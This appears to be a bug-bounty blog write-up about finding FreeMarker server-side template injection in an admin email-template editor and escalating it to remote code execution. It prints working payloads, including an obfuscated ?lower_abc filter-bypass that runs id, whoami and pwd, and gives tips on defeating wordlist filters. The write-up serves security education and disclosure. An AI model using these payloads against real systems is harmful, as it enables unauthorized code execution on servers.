Sayaan Alam (sayaanalam) is a member of the Synack Red Team.
Hi Readers!
I hope you all are doing well.
In this post, I want to discuss a specific type of vulnerability I’ve encountered: Server-Side Template Injection (SSTI) in FreeMarker that can lead to Remote Code Execution (RCE). This vulnerability is particularly concerning as it allows attackers to execute arbitrary code on the server
What is FreeMarker?
FreeMarker is a widely used Java-based template engine that facilitates dynamic content rendering in applications. It enables developers to embed Java objects within templates, generating customized HTML or other formats based on user input or application state. While powerful, FreeMarker can introduce security risks when user input is rendered directly, potentially leading to SSTI When exploited, SSTI can allow attackers to inject and execute code, often escalating to Remote Code Execution (RCE) if not carefully managed.
What is SSTI?
SSTI, is a security vulnerability that occurs when user input is unsafely embedded into server-side templates. Many web applications use templates to dynamically generate HTML or other content by combining static code with variable data. If user-provided data is inserted into these templates without proper validation, an attacker can inject malicious code directly into the template, leading to unintended execution on the server.
In severe cases, SSTI vulnerabilities can allow attackers to execute arbitrary code, access sensitive data, and even gain remote control of the server, effectively turning the vulnerability into an RCE exploit.
Exploitation
I was onboarded to a target which was a retest of old and previously tested application.
Upon exploring the application I stumbled upon a functionality allowing the admin user to set the Email Templates based on different types of events within the application.
The input field for the template was a rich-text editor, so my initial thought was to test for Persistent Cross-Site Scripting (XSS), but this had already been reported. After considering other vectors, I decided to test for SSTI.
As you can see in the above screenshot, the editor also contained pre-defined placeholders, suggesting template rendering was in use — ideal for testing SSTI vulnerabilities, I attempted to inject a basic payload ${7*7} but that didn’t work. That wasn’t necessarily a surprise—SSTIs typically work on the place they are intended to be used, not the injection point—but it still led me to believe the application might not be vulnerable to this kind of attack.
I explored the application further to see other functionalities and possibly find a point where I could see the template as executed. I eventually found that it stores the record of all emails sent, based on their event.
At this point, I checked the logs and could already see the executed SSTI payloads there, including one for RCE, but as I checked the target analytics, the RCE was not reported and the executed payload was also old. So it was probably missed in previous tests.
Now I went straight to the template setting and tested it with basic payloads such as ${7*7}, which worked, and gave me 49 as output in email event logs.
Now I have started identifying the template engine by using the following tree :
The chart did not directly address FreeMarker SSTI cases, so I experimented with specific payloads until I confirmed the FreeMarker engine. These initial payloads worked, which led me to conclude that the application is using the FreeMarker engine.
${“Hello ” + “World”} —> Output —> “Hello World”
${[“one”, “two”, “three”][1]} —> Output —> “two”
${“test”?length} —> Output —> “4”
${.now?string(“yyyy-MM-dd”)} —> Output —> Current Date
Now it was confirmed that the application is using the FreeMarker engine at the backend.
I attempted further payloads to detect the FreeMarker version, but they did not work. So I attempted to use the RCE payload, which attempts to invoke the Execute utility in FreeMarker to run a command, but it was initially blocked. I received the following error:
{“errors”:[“Data did not pass validations”],”requestId”:”REDACTED”,”validationErrors”:[{“errorField”:”emailBody”,”errorMessage”:”Email template contains un-allowed content. Please adjust and try again.”}]}]]
I assumed the application was using a word list to block specific payloads. I attempted some other more payloads, and they weren’t successful, either.
Restriction bypass using ?lower_abc function
I researched further and discovered the ?lower_abc function in FreeMarker’s built-ins, which allows for controlled, character-by-character encoding of restricted characters. This function translates specific characters into their ASCII or Unicode representations within FreeMarker. By using ?lower_abc or ?upper_abc, I could bypass filters by encoding disallowed characters as permissible values. For example, 6?lower_abc yields “f,” allowing me to gradually reconstruct the command. This indirect approach ultimately enabled bypassing detection through restricted character encoding.
Using this approach, we were able to encode the RCE payload ${“freemarker.template.utility.Execute”?new()(“id”)} as:
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}
This payload bypassed the validation on the backend and stored the payload successfully.
After executing the payload, we successfully received the output from the id command, confirming RCE on the machine.
Using the same method, we were able to generate few more payloads for other system commands , such as :
whoami
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(23?lower_abc+8?lower_abc+15?lower_abc+1?lower_abc+13?lower_abc+9?lower_abc)}
pwd
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(16?lower_abc+23?lower_abc+4?lower_abc)}
After confirming the RCE, I reported the vulnerability to Synack, which was validated and accepted by them.
Key takeaways
- Read Template Engine Documentation for Hidden Functions: Dive into the documentation of template engines like FreeMarker to discover lesser-known functions, such as ?lower_abc or ?upper_abc. These functions can help bypass restrictive filters and achieve RCE, offering valuable methods for exploitation that are often overlooked.
- Creative Bypasses Can Lead to Major Exploits: When blocked by straightforward payloads, explore encoding tricks, function chaining or character-by-character payload construction. This can often bypass wordlist-based filters and other restrictions that prevent typical exploitation.
- Test for SSTI in Template Editing Features: Whenever you encounter template editors or user-configurable templates, especially in admin functionalities, check for SSTI vulnerabilities. These areas can frequently expose critical paths to code execution if not properly secured.
- Importance of Retesting: Retesting is crucial as it can reveal vulnerabilities that may have been initially missed or were introduced later in the application’s lifecycle. Regular assessments ensure ongoing security and may detect critical issues that arise with new features or configuration changes.
If you have any questions regarding this vulnerability or need assistance, feel free to connect with me on Twitter or LinkedIn. I’m always happy to offer guidance to fellow cybersecurity enthusiasts. You can also read more about me on my personal website at https://sayaan.in
Thank you for reading!